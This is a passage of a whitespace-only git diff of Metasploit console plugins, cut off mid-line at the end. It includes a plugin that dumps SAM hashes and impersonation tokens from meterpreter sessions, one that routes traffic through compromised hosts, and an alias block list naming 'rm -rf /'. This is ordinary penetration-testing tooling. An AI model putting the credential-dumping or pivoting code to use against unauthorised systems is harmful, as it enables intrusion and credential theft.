args[0] == "-f" - force = true - args.shift - elsif args[0] == "-c" - clear = true - args.shift - end - name = args.shift - # alias name can NEVER be certain reserved words like 'alias', add any other reserved words here - # We prevent the user from naming the alias "alias" cuz they could end up unable to clear the aliases, - # for example you 'alias -f set unset and then 'alias -f alias sessions', now you're screwed. The byproduct - # of this is that it prevents you from aliasing 'alias' to 'alias -f' etc, but that's acceptable - reserved_words = [/^alias$/i] - reserved_words.each do |regex| - if name =~ regex - print_error "You cannot use #{name} as the name for an alias, sorry" - return false - end - end - - if clear - # clear all aliases if "*" - if name == "*" - @aliases.keys.each do |a| - deregister_alias(a) - end - print_status "Cleared all aliases" - else # clear the named alias if it exists - if @aliases.keys.include?(name) - deregister_alias(name) - print_status "Cleared alias #{name}" - else - print_error("#{name} is not a currently active alias") - end - end - return - end - # smash everything that's left together - value = args.join(" ") - value.strip! - # value can NEVER be certain bad words like 'rm -rf /', add any other reserved words here - # this is basic idiot protection, not meant to be impervious to subversive intentions - reserved_words = [/^rm +(-rf|-r +-f|-f +-r) +\/.*$/] - reserved_words.each do |regex| - if value =~ regex - print_error "You cannot use #{value} as the value for an alias, sorry" - return false - end - end - - is_valid_alias = is_valid_alias?(name,value) - #print_good "Alias validity = #{is_valid_alias.to_s}" - is_sys_cmd = Rex::FileUtils.find_full_path(name) - is_already_alias = @aliases.keys.include?(name) - if is_valid_alias and not is_sys_cmd and not is_already_alias - register_alias(name, value) - elsif force - if not is_valid_alias - print_status "The alias failed validation, but force is set so we allow this. This is often the case" - print_status "when for instance 'exploit' is being overridden but msfconsole is not currently in the" - print_status "exploit context (an exploit is not loaded), or you are overriding a system command" - end - register_alias(name, value) - else - print_error("#{name} already exists as a system command, use -f to force override") if is_sys_cmd - print_error("#{name} is already an alias, use -f to force override") if is_already_alias - if not is_valid_alias and not force - print_error("\'#{name}\' is not a permitted name or \'#{value}\' is not valid/permitted") - print_error("It's possible the responding dispatcher isn't loaded yet, try changing to the proper context or using -f to force") - end - end - end - end - - def cmd_alias_help - print_line "Usage: alias [options] [name [value]]" - print_line - print(@@alias_opts.usage()) - end - - # - # Tab completion for the alias command - # - def cmd_alias_tabs(str, words) - if words.length <= 1 - #puts "1 word or less" - return @@alias_opts.fmt.keys + tab_complete_aliases_and_commands - else - #puts "more than 1 word" - return tab_complete_aliases_and_commands - end - end - - private - # - # do everything needed to add an alias of +name+ having the value +value+ - # - def register_alias(name, value) - #TODO: begin rescue? - #TODO: security concerns since we are using eval - - # define some class instance methods - self.class_eval do - # define a class instance method that will respond for the alias - define_method "cmd_#{name}" do |*args| - # just replace the alias w/the alias' value and run that - driver.run_single("#{value} #{args.join(' ')}") - end - # define a class instance method that will tab complete the aliased command - # we just proxy to the top-level tab complete function and let them handle it - define_method "cmd_#{name}_tabs" do |str, words| - # we need to repair the tab complete string/words and pass back - # replace alias name with the root alias value - value_words = value.split(/[\s\t\n]+/) # in case value is e.g. 'sessions -l' - # valwords is now [sessions,-l] - words[0] = value_words[0] - # words[0] is now 'sessions' (was 'sue') - value_words.shift # valwords is now ['-l'] - # insert any remaining parts of value and rebuild the line - line = words.join(" ") + " " + value_words.join(" ") + " " + str - - #print_good "passing (#{line.strip}) back to tab_complete" - # clear current tab_words - driver.tab_words = [] - driver.tab_complete(line.strip) - end - # add a cmd_#{name}_help method - define_method "cmd_#{name}_help" do |*args| - driver.run_single("help #{value}") - end - end - # add the alias to the list - @aliases[name] = value - end - - # - # do everything required to remove an alias of name +name+ - # - def deregister_alias(name) - self.class_eval do - # remove the class methods we created when the alias was registered - remove_method("cmd_#{name}") - remove_method("cmd_#{name}_tabs") - remove_method("cmd_#{name}_help") - end - # remove the alias from the list of active aliases - @aliases.delete(name) - end - - # - # Validate a proposed alias with the +name+ and having the value +value+ - # - def is_valid_alias?(name,value) - #print_good "Assessing validay for #{name} and #{value}" - # we validate two things, the name and the value - - ### name - # we don't check if this alias name exists or if it's a console command already etc as -f can override - # that so those need to be checked externally, we pretty much just check to see if the name is sane - name.strip! - bad_words = [/\*/] # add any additional "bad word" regexes here - bad_words.each do |regex| - # don't mess around, just return false in this case, prevents wasted processing - return false if name =~ regex - end - - ### value - # value is considered valid if it's a ref to a valid console cmd, a system executable, or an existing - # alias AND isn't a "bad word" - # Here we check for "bad words" to avoid for the value...value would have to NOT match these regexes - # this is just basic idiot protection - value.strip! - bad_words = [/^msfconsole$/] - bad_words.each do |regex| - # don't mess around, just return false if we match - return false if value =~ regex - end - - # we're only gonna validate the first part of the cmd, e.g. just ls from "ls -lh" - value = value.split(" ").first - if @aliases.keys.include?(value) - return true - else - [value, value+".exe"].each do |cmd| - if Rex::FileUtils.find_full_path(cmd) - return true - end - end - end - - # gather all the current commands the driver's dispatcher's have & check 'em - driver.dispatcher_stack.each do |dispatcher| - next unless dispatcher.respond_to?(:commands) - next if (dispatcher.commands.nil?) - next if (dispatcher.commands.length == 0) - - if dispatcher.respond_to?("cmd_#{value.split(" ").first}") - #print_status "Dispatcher (#{dispatcher.name}) responds to cmd_#{value.split(" ").first}" - return true - else - #print_status "Dispatcher (#{dispatcher.name}) does not respond to cmd_#{value.split(" ").first}" - end - end - - return false - end - - # - # Provide tab completion list for aliases and commands - # - def tab_complete_aliases_and_commands - items = [] - # gather all the current commands the driver's dispatcher's have - driver.dispatcher_stack.each do |dispatcher| - next unless dispatcher.respond_to?(:commands) - next if (dispatcher.commands.nil? or dispatcher.commands.length == 0) - items << dispatcher.commands.keys - end - # add all the current aliases to the list - items.concat(@aliases.keys) - return items - end - - end # end AliasCommandDispatcher class - - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - def initialize(framework, opts) - super - - ## Register the commands above - add_console_dispatcher(AliasCommandDispatcher) - end - - - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('Alias') - - # we don't need to remove class methods we added because they were added to - # AliasCommandDispatcher class - end - - # - # This method returns a short, friendly name for the plugin. - # - def name - "alias" - end - - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Adds the ability to alias console commands" - end + class AliasCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + attr_reader :aliases + def initialize(driver) + super(driver) + @aliases = {} + end + + def name + "Alias" + end + + @@alias_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ], + "-c" => [ true, "Clear an alias (* to clear all)."], + "-f" => [ true, "Force an alias assignment." ] + ) + # + # Returns the hash of commands supported by this dispatcher. + # + def commands # driver.dispatcher_stack[3].commands + { + "alias" => "create or view an alias." + # "alias_clear" => "clear an alias (or all aliases).", + # "alias_force" => "Force an alias (such as to override)" + }.merge(aliases) # make aliased commands available as commands of their own + end + + # + # the main alias command handler + # + # usage: alias [options] [name [value]] + def cmd_alias(*args) + # we parse args manually instead of using @@alias.opts.parse to handle special cases + case args.length + when 0 # print the list of current aliases + if @aliases.length == 0 + return print_status("No aliases currently defined") + else + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Current Aliases", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => [ '', 'Alias Name', 'Alias Value' ] + ) + # add 'alias' in front of each row so that the output can be copy pasted into an rc file if desired + @aliases.each_pair do |key,val| + tbl << ["alias",key,val] + end + return print(tbl.to_s) + end + when 1 # display the alias if one matches this name (or help) + return cmd_alias_help if args[0] == "-h" or args[0] == "--help" + if @aliases.keys.include?(args[0]) + print_status("\'#{args[0]}\' is aliased to \'#{@aliases[args[0]]}\'") + else + print_status("\'#{args[0]}\' is not currently aliased") + end + else # let's see if we can assign or clear the alias + force = false + clear = false + # if using -f or -c, they must be the first arg, because -f/-c may also show up in the alias + # value so we can't do something like if args.include("-f") or delete_if etc + # we should never have to force and clear simultaneously. + if args[0] == "-f" + force = true + args.shift + elsif args[0] == "-c" + clear = true + args.shift + end + name = args.shift + # alias name can NEVER be certain reserved words like 'alias', add any other reserved words here + # We prevent the user from naming the alias "alias" cuz they could end up unable to clear the aliases, + # for example you 'alias -f set unset and then 'alias -f alias sessions', now you're screwed. The byproduct + # of this is that it prevents you from aliasing 'alias' to 'alias -f' etc, but that's acceptable + reserved_words = [/^alias$/i] + reserved_words.each do |regex| + if name =~ regex + print_error "You cannot use #{name} as the name for an alias, sorry" + return false + end + end + + if clear + # clear all aliases if "*" + if name == "*" + @aliases.keys.each do |a| + deregister_alias(a) + end + print_status "Cleared all aliases" + else # clear the named alias if it exists + if @aliases.keys.include?(name) + deregister_alias(name) + print_status "Cleared alias #{name}" + else + print_error("#{name} is not a currently active alias") + end + end + return + end + # smash everything that's left together + value = args.join(" ") + value.strip! + # value can NEVER be certain bad words like 'rm -rf /', add any other reserved words here + # this is basic idiot protection, not meant to be impervious to subversive intentions + reserved_words = [/^rm +(-rf|-r +-f|-f +-r) +\/.*$/] + reserved_words.each do |regex| + if value =~ regex + print_error "You cannot use #{value} as the value for an alias, sorry" + return false + end + end + + is_valid_alias = is_valid_alias?(name,value) + #print_good "Alias validity = #{is_valid_alias.to_s}" + is_sys_cmd = Rex::FileUtils.find_full_path(name) + is_already_alias = @aliases.keys.include?(name) + if is_valid_alias and not is_sys_cmd and not is_already_alias + register_alias(name, value) + elsif force + if not is_valid_alias + print_status "The alias failed validation, but force is set so we allow this. This is often the case" + print_status "when for instance 'exploit' is being overridden but msfconsole is not currently in the" + print_status "exploit context (an exploit is not loaded), or you are overriding a system command" + end + register_alias(name, value) + else + print_error("#{name} already exists as a system command, use -f to force override") if is_sys_cmd + print_error("#{name} is already an alias, use -f to force override") if is_already_alias + if not is_valid_alias and not force + print_error("\'#{name}\' is not a permitted name or \'#{value}\' is not valid/permitted") + print_error("It's possible the responding dispatcher isn't loaded yet, try changing to the proper context or using -f to force") + end + end + end + end + + def cmd_alias_help + print_line "Usage: alias [options] [name [value]]" + print_line + print(@@alias_opts.usage()) + end + + # + # Tab completion for the alias command + # + def cmd_alias_tabs(str, words) + if words.length <= 1 + #puts "1 word or less" + return @@alias_opts.fmt.keys + tab_complete_aliases_and_commands + else + #puts "more than 1 word" + return tab_complete_aliases_and_commands + end + end + + private + # + # do everything needed to add an alias of +name+ having the value +value+ + # + def register_alias(name, value) + #TODO: begin rescue? + #TODO: security concerns since we are using eval + + # define some class instance methods + self.class_eval do + # define a class instance method that will respond for the alias + define_method "cmd_#{name}" do |*args| + # just replace the alias w/the alias' value and run that + driver.run_single("#{value} #{args.join(' ')}") + end + # define a class instance method that will tab complete the aliased command + # we just proxy to the top-level tab complete function and let them handle it + define_method "cmd_#{name}_tabs" do |str, words| + # we need to repair the tab complete string/words and pass back + # replace alias name with the root alias value + value_words = value.split(/[\s\t\n]+/) # in case value is e.g. 'sessions -l' + # valwords is now [sessions,-l] + words[0] = value_words[0] + # words[0] is now 'sessions' (was 'sue') + value_words.shift # valwords is now ['-l'] + # insert any remaining parts of value and rebuild the line + line = words.join(" ") + " " + value_words.join(" ") + " " + str + + #print_good "passing (#{line.strip}) back to tab_complete" + # clear current tab_words + driver.tab_words = [] + driver.tab_complete(line.strip) + end + # add a cmd_#{name}_help method + define_method "cmd_#{name}_help" do |*args| + driver.run_single("help #{value}") + end + end + # add the alias to the list + @aliases[name] = value + end + + # + # do everything required to remove an alias of name +name+ + # + def deregister_alias(name) + self.class_eval do + # remove the class methods we created when the alias was registered + remove_method("cmd_#{name}") + remove_method("cmd_#{name}_tabs") + remove_method("cmd_#{name}_help") + end + # remove the alias from the list of active aliases + @aliases.delete(name) + end + + # + # Validate a proposed alias with the +name+ and having the value +value+ + # + def is_valid_alias?(name,value) + #print_good "Assessing validay for #{name} and #{value}" + # we validate two things, the name and the value + + ### name + # we don't check if this alias name exists or if it's a console command already etc as -f can override + # that so those need to be checked externally, we pretty much just check to see if the name is sane + name.strip! + bad_words = [/\*/] # add any additional "bad word" regexes here + bad_words.each do |regex| + # don't mess around, just return false in this case, prevents wasted processing + return false if name =~ regex + end + + ### value + # value is considered valid if it's a ref to a valid console cmd, a system executable, or an existing + # alias AND isn't a "bad word" + # Here we check for "bad words" to avoid for the value...value would have to NOT match these regexes + # this is just basic idiot protection + value.strip! + bad_words = [/^msfconsole$/] + bad_words.each do |regex| + # don't mess around, just return false if we match + return false if value =~ regex + end + + # we're only gonna validate the first part of the cmd, e.g. just ls from "ls -lh" + value = value.split(" ").first + if @aliases.keys.include?(value) + return true + else + [value, value+".exe"].each do |cmd| + if Rex::FileUtils.find_full_path(cmd) + return true + end + end + end + + # gather all the current commands the driver's dispatcher's have & check 'em + driver.dispatcher_stack.each do |dispatcher| + next unless dispatcher.respond_to?(:commands) + next if (dispatcher.commands.nil?) + next if (dispatcher.commands.length == 0) + + if dispatcher.respond_to?("cmd_#{value.split(" ").first}") + #print_status "Dispatcher (#{dispatcher.name}) responds to cmd_#{value.split(" ").first}" + return true + else + #print_status "Dispatcher (#{dispatcher.name}) does not respond to cmd_#{value.split(" ").first}" + end + end + + return false + end + + # + # Provide tab completion list for aliases and commands + # + def tab_complete_aliases_and_commands + items = [] + # gather all the current commands the driver's dispatcher's have + driver.dispatcher_stack.each do |dispatcher| + next unless dispatcher.respond_to?(:commands) + next if (dispatcher.commands.nil? or dispatcher.commands.length == 0) + items << dispatcher.commands.keys + end + # add all the current aliases to the list + items.concat(@aliases.keys) + return items + end + + end # end AliasCommandDispatcher class + + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + def initialize(framework, opts) + super + + ## Register the commands above + add_console_dispatcher(AliasCommandDispatcher) + end + + + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('Alias') + + # we don't need to remove class methods we added because they were added to + # AliasCommandDispatcher class + end + + # + # This method returns a short, friendly name for the plugin. + # + def name + "alias" + end + + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Adds the ability to alias console commands" + end end ## End Plugin Class end ## End Module diff --git a/plugins/auto_add_route.rb b/plugins/auto_add_route.rb index 7ff136a802ce..b57c3762ed3d 100644 --- a/plugins/auto_add_route.rb +++ b/plugins/auto_add_route.rb @@ -5,37 +5,37 @@ module Msf class Plugin::AutoAddRoute < Msf::Plugin - include Msf::SessionEvent - def name; 'auto_add_route'; end + include Msf::SessionEvent + def name; 'auto_add_route'; end - def desc - "Adds routes for any new subnets whenever a session opens" - end + def desc + "Adds routes for any new subnets whenever a session opens" + end - def on_session_open(session) - return if not session.type == 'meterpreter' - session.load_stdapi - sb = Rex::Socket::SwitchBoard.instance - session.net.config.each_route { |route| - # Remove multicast and loopback interfaces - next if route.subnet =~ /^(224\.|127\.)/ - next if route.subnet == '0.0.0.0' - next if route.netmask == '255.255.255.255' - if not sb.route_exists?(route.subnet, route.netmask) - print_status("AutoAddRoute: Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}") - sb.add_route(route.subnet, route.netmask, session) - end - } - end + def on_session_open(session) + return if not session.type == 'meterpreter' + session.load_stdapi + sb = Rex::Socket::SwitchBoard.instance + session.net.config.each_route { |route| + # Remove multicast and loopback interfaces + next if route.subnet =~ /^(224\.|127\.)/ + next if route.subnet == '0.0.0.0' + next if route.netmask == '255.255.255.255' + if not sb.route_exists?(route.subnet, route.netmask) + print_status("AutoAddRoute: Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}") + sb.add_route(route.subnet, route.netmask, session) + end + } + end - def initialize(framework, opts) - super - self.framework.events.add_session_subscriber(self) - end + def initialize(framework, opts) + super + self.framework.events.add_session_subscriber(self) + end - def cleanup - self.framework.events.remove_session_subscriber(self) - end + def cleanup + self.framework.events.remove_session_subscriber(self) + end end end diff --git a/plugins/db_credcollect.rb b/plugins/db_credcollect.rb index 6c23c5e6132e..4e6b9663f74c 100644 --- a/plugins/db_credcollect.rb +++ b/plugins/db_credcollect.rb @@ -9,109 +9,109 @@ module Msf class Plugin::CredCollect < Msf::Plugin - include Msf::SessionEvent - - class CredCollectCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "credcollect" - end - - def commands - { - "db_hashes" => "Dumps hashes (deprecated: use 'creds -s smb')", - "db_tokens" => "Dumps tokens (deprecated: use 'notes -t smb_token')" - } - end - - def cmd_db_hashes() - print_error "" - print_error "db_hashes is deprecated. Use 'creds -s smb' instead." - print_error "" - end - - def cmd_db_tokens() - print_error "" - print_error "db_tokens is deprecated. Use 'notes -t smb_token' instead." - print_error "" - end - - end - - def on_session_open(session) - - return if not self.framework.db.active - - print_status("This is CredCollect, I have the conn!") - - if (session.type == "meterpreter") - - # Make sure we're rockin Priv and Incognito - session.core.use("priv") - session.core.use("incognito") - - # It wasn't me mom! Stinko did it! - hashes = session.priv.sam_hashes - - # Target infos for the db record - addr = session.sock.peerhost - # This ought to read from the exploit's datastore. - # Use the meterpreter script if you need to control it. - smb_port = 445 - - # Record hashes to the running db instance - hashes.each do |hash| - data = {} - data[:host] = addr - data[:port] = smb_port - data[:sname] = 'smb' - data[:user] = hash.user_name - data[:pass] = hash.lanman + ":" + hash.ntlm - data[:type] = "smb_hash" - data[:active] = true - - self.framework.db.report_auth_info(data) - end - - # Record user tokens - tokens = session.incognito.incognito_list_tokens(0).values - # Meh, tokens come to us as a formatted string - tokens = tokens.join.strip!.split("\n") - - tokens.each do |token| - data = {} - data[:host] = addr - data[:type] = 'smb_token' - data[:data] = token - data[:update] = :unique_data - - self.framework.db.report_note(data) - end - end - end - - def on_session_close(session,reason='') - end - - def initialize(framework, opts) - super - self.framework.events.add_session_subscriber(self) - add_console_dispatcher(CredCollectCommandDispatcher) - end - - def cleanup - self.framework.events.remove_session_subscriber(self) - remove_console_dispatcher('credcollect') - end - - def name - "db_credcollect" - end - - def desc - "Automatically grabs hashes and tokens from meterpreter session events and stores them in the db" - end + include Msf::SessionEvent + + class CredCollectCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "credcollect" + end + + def commands + { + "db_hashes" => "Dumps hashes (deprecated: use 'creds -s smb')", + "db_tokens" => "Dumps tokens (deprecated: use 'notes -t smb_token')" + } + end + + def cmd_db_hashes() + print_error "" + print_error "db_hashes is deprecated. Use 'creds -s smb' instead." + print_error "" + end + + def cmd_db_tokens() + print_error "" + print_error "db_tokens is deprecated. Use 'notes -t smb_token' instead." + print_error "" + end + + end + + def on_session_open(session) + + return if not self.framework.db.active + + print_status("This is CredCollect, I have the conn!") + + if (session.type == "meterpreter") + + # Make sure we're rockin Priv and Incognito + session.core.use("priv") + session.core.use("incognito") + + # It wasn't me mom! Stinko did it! + hashes = session.priv.sam_hashes + + # Target infos for the db record + addr = session.sock.peerhost + # This ought to read from the exploit's datastore. + # Use the meterpreter script if you need to control it. + smb_port = 445 + + # Record hashes to the running db instance + hashes.each do |hash| + data = {} + data[:host] = addr + data[:port] = smb_port + data[:sname] = 'smb' + data[:user] = hash.user_name + data[:pass] = hash.lanman + ":" + hash.ntlm + data[:type] = "smb_hash" + data[:active] = true + + self.framework.db.report_auth_info(data) + end + + # Record user tokens + tokens = session.incognito.incognito_list_tokens(0).values + # Meh, tokens come to us as a formatted string + tokens = tokens.join.strip!.split("\n") + + tokens.each do |token| + data = {} + data[:host] = addr + data[:type] = 'smb_token' + data[:data] = token + data[:update] = :unique_data + + self.framework.db.report_note(data) + end + end + end + + def on_session_close(session,reason='') + end + + def initialize(framework, opts) + super + self.framework.events.add_session_subscriber(self) + add_console_dispatcher(CredCollectCommandDispatcher) + end + + def cleanup + self.framework.events.remove_session_subscriber(self) + remove_console_dispatcher('credcollect') + end + + def name + "db_credcollect" + end + + def desc + "Automatically grabs hashes and tokens from meterpreter session events and stores them in the db" + end end end diff --git a/plugins/db_tracker.rb b/plugins/db_tracker.rb index d36239f767dc..5708a67466b7 100644 --- a/plugins/db_tracker.rb +++ b/plugins/db_tracker.rb @@ -14,62 +14,62 @@ module Msf class Plugin::DB_Tracer < Msf::Plugin - ### - # - # This class implements a socket communication tracker - # - ### - class DBTracerEventHandler - include Rex::Socket::Comm::Events - - def on_before_socket_create(comm, param) - end - - def on_socket_created(comm, sock, param) - # Ignore local listening sockets - return if not sock.peerhost - - if (sock.peerhost != '0.0.0.0' and sock.peerport) - - # Ignore sockets that didn't set up their context - # to hold the framework in 'Msf' - return if not param.context['Msf'] - - host = param.context['Msf'].db.find_or_create_host(:host => sock.peerhost, :state => Msf::HostState::Alive) - return if not host - - param.context['Msf'].db.report_service(:host => host, :proto => param.proto, :port => sock.peerport) - end - end - end - - def initialize(framework, opts) - super - - if(not framework.db.active) - raise PluginLoadError.new("The database backend has not been initialized") - end - framework.plugins.each { |plugin| - if (plugin.class == Msf::Plugin::DB_Tracer) - raise PluginLoadError.new("This plugin should not be loaded more than once") - end - } - - @eh = DBTracerEventHandler.new - Rex::Socket::Comm::Local.register_event_handler(@eh) - end - - def cleanup - Rex::Socket::Comm::Local.deregister_event_handler(@eh) - end - - def name - "db_tracker" - end - - def desc - "Monitors socket calls and updates the database backend" - end + ### + # + # This class implements a socket communication tracker + # + ### + class DBTracerEventHandler + include Rex::Socket::Comm::Events + + def on_before_socket_create(comm, param) + end + + def on_socket_created(comm, sock, param) + # Ignore local listening sockets + return if not sock.peerhost + + if (sock.peerhost != '0.0.0.0' and sock.peerport) + + # Ignore sockets that didn't set up their context + # to hold the framework in 'Msf' + return if not param.context['Msf'] + + host = param.context['Msf'].db.find_or_create_host(:host => sock.peerhost, :state => Msf::HostState::Alive) + return if not host + + param.context['Msf'].db.report_service(:host => host, :proto => param.proto, :port => sock.peerport) + end + end + end + + def initialize(framework, opts) + super + + if(not framework.db.active) + raise PluginLoadError.new("The database backend has not been initialized") + end + framework.plugins.each { |plugin| + if (plugin.class == Msf::Plugin::DB_Tracer) + raise PluginLoadError.new("This plugin should not be loaded more than once") + end + } + + @eh = DBTracerEventHandler.new + Rex::Socket::Comm::Local.register_event_handler(@eh) + end + + def cleanup + Rex::Socket::Comm::Local.deregister_event_handler(@eh) + end + + def name + "db_tracker" + end + + def desc + "Monitors socket calls and updates the database backend" + end end end diff --git a/plugins/editor.rb b/plugins/editor.rb index c084041445a2..f460d86c59e5 100644 --- a/plugins/editor.rb +++ b/plugins/editor.rb @@ -12,74 +12,74 @@ module Msf ### class Plugin::Editor < Msf::Plugin - ### - # - # This class implements a single edit command. - # - ### - class EditorCommandDispatcher - include Msf::Ui::Console::ModuleCommandDispatcher - - # - # The dispatcher's name. - # - def name - "Editor" - end - - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - # Don't update super here since we don't want the commands from - # super, just the methods - { - "edit" => "A handy editor commmand" - } - end - - # - # This method handles the edit command. - # - def cmd_edit(*args) - print_line("Launching editor...") - - e = Rex::Compat.getenv("EDITOR") || "vi" - - if (not mod) or (not (path = mod.file_path)) - print_line("Error: No active module selected") - return nil - end - - ret = system(e, path) - if not ret - print_line("Failed to execute your editor (#{e})") - return - end - - reload - ret - end - end - - def initialize(framework, opts) - super - - # console dispatcher commands. - add_console_dispatcher(EditorCommandDispatcher) - end - - def cleanup - remove_console_dispatcher('Editor') - end - - def name - "editor" - end - - def desc - "Simple Editor Plugin" - end + ### + # + # This class implements a single edit command. + # + ### + class EditorCommandDispatcher + include Msf::Ui::Console::ModuleCommandDispatcher + + # + # The dispatcher's name. + # + def name + "Editor" + end + + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + # Don't update super here since we don't want the commands from + # super, just the methods + { + "edit" => "A handy editor commmand" + } + end + + # + # This method handles the edit command. + # + def cmd_edit(*args) + print_line("Launching editor...") + + e = Rex::Compat.getenv("EDITOR") || "vi" + + if (not mod) or (not (path = mod.file_path)) + print_line("Error: No active module selected") + return nil + end + + ret = system(e, path) + if not ret + print_line("Failed to execute your editor (#{e})") + return + end + + reload + ret + end + end + + def initialize(framework, opts) + super + + # console dispatcher commands. + add_console_dispatcher(EditorCommandDispatcher) + end + + def cleanup + remove_console_dispatcher('Editor') + end + + def name + "editor" + end + + def desc + "Simple Editor Plugin" + end protected end diff --git a/plugins/event_tester.rb b/plugins/event_tester.rb index df8c0beb4a10..3b7d2afc3373 100644 --- a/plugins/event_tester.rb +++ b/plugins/event_tester.rb @@ -6,34 +6,34 @@ module Msf class Plugin::EventTester < Msf::Plugin - class Subscriber - def respond_to?(name) - # Why yes, I can do that. - true - end - def method_missing(name, *args) - $stdout.puts("Event fired: #{name}(#{args.join(", ")})") - end - end + class Subscriber + def respond_to?(name) + # Why yes, I can do that. + true + end + def method_missing(name, *args) + $stdout.puts("Event fired: #{name}(#{args.join(", ")})") + end + end - def name; "event_tester"; end + def name; "event_tester"; end - def initialize(framework, opts) - super - @subscriber = Subscriber.new - framework.events.add_exploit_subscriber(@subscriber) - framework.events.add_session_subscriber(@subscriber) - framework.events.add_general_subscriber(@subscriber) - framework.events.add_db_subscriber(@subscriber) - framework.events.add_ui_subscriber(@subscriber) - end - def cleanup - framework.events.remove_exploit_subscriber(@subscriber) - framework.events.remove_session_subscriber(@subscriber) - framework.events.remove_general_subscriber(@subscriber) - framework.events.remove_db_subscriber(@subscriber) - framework.events.remove_ui_subscriber(@subscriber) - end + def initialize(framework, opts) + super + @subscriber = Subscriber.new + framework.events.add_exploit_subscriber(@subscriber) + framework.events.add_session_subscriber(@subscriber) + framework.events.add_general_subscriber(@subscriber) + framework.events.add_db_subscriber(@subscriber) + framework.events.add_ui_subscriber(@subscriber) + end + def cleanup + framework.events.remove_exploit_subscriber(@subscriber) + framework.events.remove_session_subscriber(@subscriber) + framework.events.remove_general_subscriber(@subscriber) + framework.events.remove_db_subscriber(@subscriber) + framework.events.remove_ui_subscriber(@subscriber) + end end end diff --git a/plugins/ffautoregen.rb b/plugins/ffautoregen.rb index c940f41cdfbb..9125e6ff7305 100644 --- a/plugins/ffautoregen.rb +++ b/plugins/ffautoregen.rb @@ -12,95 +12,95 @@ module Msf ### class Plugin::FFAutoRegen < Msf::Plugin - ### - # - # This class implements a single edit command. - # - ### - class FFAutoRegenCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - # - # The dispatcher's name. - # - def name - "FFAutoRegen" - end - - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "ffautoregen" => "Automatically regenerate the document when the exploti source changes" - } - end - - # - # This method handles the command. - # - def cmd_ffautoregen(*args) - if (not active_module) or (not (path = active_module.file_path)) - print_line("Error: No active module selected") - return nil - end - - last = mt = File.stat(path).mtime - - loop { - sleep(1) - mt = File.stat(path).mtime - - if (mt != last) - last = mt - - omod = active_module - nmod = framework.modules.reload_module(active_module) - if not nmod - print_line("Error: Failed to reload module, trying again on next change...") - next - end - - active_module = nmod - - jobify = false - payload = nmod.datastore['PAYLOAD'] - encoder = nmod.datastore['ENCODER'] - target = nmod.datastore['TARGET'] - nop = nmod.datastore['NOP'] - - nmod.exploit_simple( - 'Encoder' => encoder, - 'Payload' => payload, - 'Target' => target, - 'Nop' => nop, + ### + # + # This class implements a single edit command. + # + ### + class FFAutoRegenCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + # + # The dispatcher's name. + # + def name + "FFAutoRegen" + end + + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "ffautoregen" => "Automatically regenerate the document when the exploti source changes" + } + end + + # + # This method handles the command. + # + def cmd_ffautoregen(*args) + if (not active_module) or (not (path = active_module.file_path)) + print_line("Error: No active module selected") + return nil + end + + last = mt = File.stat(path).mtime + + loop { + sleep(1) + mt = File.stat(path).mtime + + if (mt != last) + last = mt + + omod = active_module + nmod = framework.modules.reload_module(active_module) + if not nmod + print_line("Error: Failed to reload module, trying again on next change...") + next + end + + active_module = nmod + + jobify = false + payload = nmod.datastore['PAYLOAD'] + encoder = nmod.datastore['ENCODER'] + target = nmod.datastore['TARGET'] + nop = nmod.datastore['NOP'] + + nmod.exploit_simple( + 'Encoder' => encoder, + 'Payload' => payload, + 'Target' => target, + 'Nop' => nop, # 'OptionStr' => opt_str, - 'LocalInput' => driver.input, - 'LocalOutput' => driver.output, - 'RunAsJob' => jobify) - end - } - end - end - - def initialize(framework, opts) - super - - # console dispatcher commands. - add_console_dispatcher(FFAutoRegenCommandDispatcher) - end - - def cleanup - remove_console_dispatcher('FFAutoRegen') - end - - def name - "ffautoregen" - end - - def desc - "FileFormat AutoRegen Plugin" - end + 'LocalInput' => driver.input, + 'LocalOutput' => driver.output, + 'RunAsJob' => jobify) + end + } + end + end + + def initialize(framework, opts) + super + + # console dispatcher commands. + add_console_dispatcher(FFAutoRegenCommandDispatcher) + end + + def cleanup + remove_console_dispatcher('FFAutoRegen') + end + + def name + "ffautoregen" + end + + def desc + "FileFormat AutoRegen Plugin" + end protected end diff --git a/plugins/ips_filter.rb b/plugins/ips_filter.rb index 5efa06e46c2e..db0e05afda5e 100644 --- a/plugins/ips_filter.rb +++ b/plugins/ips_filter.rb @@ -15,44 +15,44 @@ module Msf class Plugin::IPSFilter < Msf::Plugin - ### - # - # This class implements a socket communication logger - # - ### - class IPSSocketEventHandler - include Rex::Socket::Comm::Events - - def on_before_socket_create(comm, param) - end - - def on_socket_created(comm, sock, param) - # Sockets created by the exploit have MsfExploit set and MsfPayload not set - if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) - sock.extend(IPSFilter::SocketTracer) - sock.context = 